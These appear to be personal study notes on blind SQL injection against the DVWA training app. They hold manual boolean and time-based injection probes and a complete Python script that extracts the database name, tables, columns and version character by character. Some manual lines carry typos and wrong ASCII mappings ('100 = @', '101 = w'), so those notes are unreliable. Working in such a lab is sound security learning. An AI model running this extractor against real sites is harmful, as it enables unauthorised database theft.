Blind SQLi#

Folowing cryptocat’s video

low#

1                 # > user id exists in the db
1' AND sleep(5)#  # > blind sleep statement works
1' order 1#       # > to get the number of colomns in here 
1' order 2#       # > still here 
1' order 3#       # > missing from the database so there's only 2 columns
1' and lenght(database())=1#  # missing from the db
1' and lenght(database())=2#  # missing from the db
1' and lenght(database())=3#  # missing from the db
1' and lenght(database())=4#  # exists in the db
1' and lenght(database())=5#  # missing from the db -- so the database length is 4

checking chars for the version of the db#

1' and ascii(substr(database(),1,1))>109#     # is the first character (from 1 to 1) greater than M - M is decimal 109 
1' and ascii(substr(database(),1,1))>109#     # it's not greater than 109
1' and ascii(substr(database(),1,1))>97#      # it's greater than 97
1' and ascii(substr(database(),1,1))>100#     # no
1' and ascii(substr(database(),1,1))>99#      # yes
1' and ascii(substr(database(),1,1))=100#     # yes    -> ascii dec 100 = @

1' and ascii(substr(database(),2,2))>109#     # yes  
1' and ascii(substr(database(),2,2))=118#     # yes    -> ascii dec 118 = v 

1' and ascii(substr(database(),3,3))=101#     # yes    -> ascii dec 118 = w 

writing a brute script to do that#

from pwn import *
import requests
import re
from itertools import cycle
import logging

url = 'http://192.168.0.12/DVWA/vulnerabilities/sqli_blind'
fixed_query = "?Submit=Submit&id=1"
cookies = {
    'security': 'low',
    'PHPSESSID': '548bdnmegsuc6poqssfg3445j5'

}
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'info'


def sql_inject(sqli_pt1, variable, sqli_pt2):
    # Build up URL and execute SQLi
    next_url = url + fixed_query + sqli_pt1 + variable + sqli_pt2
    debug("Testing " + variable + " on \"" + next_url + "\"")
    return requests.get(next_url, cookies=cookies)


def guess_len(guess_type, sqli_pt1, sqli_pt2):
    # Guess length of DB name, table count etc
    for i in range(1, 100):
        # Submit SQLi string
        response = sql_inject(sqli_pt1, str(i), sqli_pt2)
        # Extract the response we're interested in
        error_message = re.search(r'User.*\.', response.text).group(0)
        debug(error_message)
        # If we've found the DB name length, return
        if "MISSING" not in error_message:
            success(guess_type + str(i) + '\n\n')
            return i


def guess_name(guess_type, sqli_pt1, sqli_pt2, name_len, min_char_initial, max_char_initial):
    name = ""
    for i in range(1, name_len + 1):
        # Need to reset all these after we find each char
        found_next_char = 0
        min_char = min_char_initial
        max_char = max_char_initial
        current_char = int((min_char + max_char) / 2)  # start half way through alphabet ('m')
        # Should we check greater than or less than?
        comparison_types = cycle(['<', '>'])
        comparison = next(comparison_types)

        while(found_next_char != 2):
            # Submit SQLi string ('i' used for substring index, 'current_char' used for finding next char in name)
            response = sql_inject(sqli_pt1 + str(i) + "," + str(i) + "))" + comparison, str(current_char), sqli_pt2)
            # Extract the response we're interested in
            error_message = re.search(r'User.*\.', response.text).group(0)
            debug(error_message)

            # If ID shows "exists" then condition is true e.g. char > 97
            if "MISSING" not in error_message:
                # Reset our found_next_char counter
                found_next_char = 0
                # Next char is greater than the char we just tested
                if comparison == '>':
                    min_char = current_char
                # Otherwise, next char is lower than the one we just tested
                else:
                    max_char = current_char
                # Reset the current char to test value
                current_char = int((min_char + max_char) / 2)
            # If ID shows "MISSING" then condition is false e.g. !(char > 97)
            else:
                # Reverse the comparison check
                comparison = next(comparison_types)
                # Once this hit '2' in a row we know we've got the right value
                found_next_char += 1

        # We found our char
        name += chr(current_char)
        info("Found char(" + str(i) + "): " + chr(current_char))
    # We got the whole DB name
    success(guess_type + name + '\n\n')
    return name


# Bullet-based SQLi
# Get the length of DB name first (pass in print output + SQLi pt1/pt2)
db_name_len = guess_len("DB Name Length: ", "'+and+length(database())+=", "+%23")

# Get the DB name
db_name = guess_name("DB Name: ", "'+and+ascii(substr(database(),", "+%23", db_name_len, ord('a'), ord('z'))

# Get number of tables in the DB
db_table_count = guess_len(
    "DB Table Count: ",
    "'+and+(select+count(*)+from+information_schema.tables+where+table_schema=database())+=", "+%23")

# Dump the tables
for table_no in range(db_table_count):
    # Get length of table name
    table_name_len = guess_len(
        "Table Name Length: ",
        "'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1+offset+" + str(table_no) + "),1))+=",
        "+%23")
    # Guess table name
    table_name = guess_name(
        "Table Name: ",
        "'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1+offset+" + str(table_no) + "),",
        "+%23",
        table_name_len, ord('a'), ord('z'))
    # Guess the field count
    table_field_count = guess_len(
        "Table Field Count: ",
        "'+and+(select+count(column_name)+from+information_schema.columns+where+table_name='" + table_name + "')+=", "+%23")

    # Now same process for field names (guess 'em)
    for field_no in range(table_field_count):
        # Guess length of field name
        field_name_len = guess_len(
            "Field Name Length: ",
            "'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name='" +
            table_name + "'+limit+1+offset+" + str(field_no) + "),1))+=",
            "+%23")
        # Guess field name
        field_name = guess_name(
            "Field Name: ",
            "'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='" +
            table_name + "'+limit+1+offset+" + str(field_no) + "),",
            "+%23",
            field_name_len, ord(' '), ord('z'))

    # TODO: continue same process to extract field data


# Finally, do our actual mission (get DB version)
db_version_name_len = guess_len("DB Version Length: ", "'+and+length(@@version)+=", "+%23")
# Here we check special chars, 0-9, A-Z, a-z etc
db_version_name = guess_name("DB Version: ", "'+and+ascii(substr(@@version,", "+%23", db_version_name_len, ord(' '), ord('z'))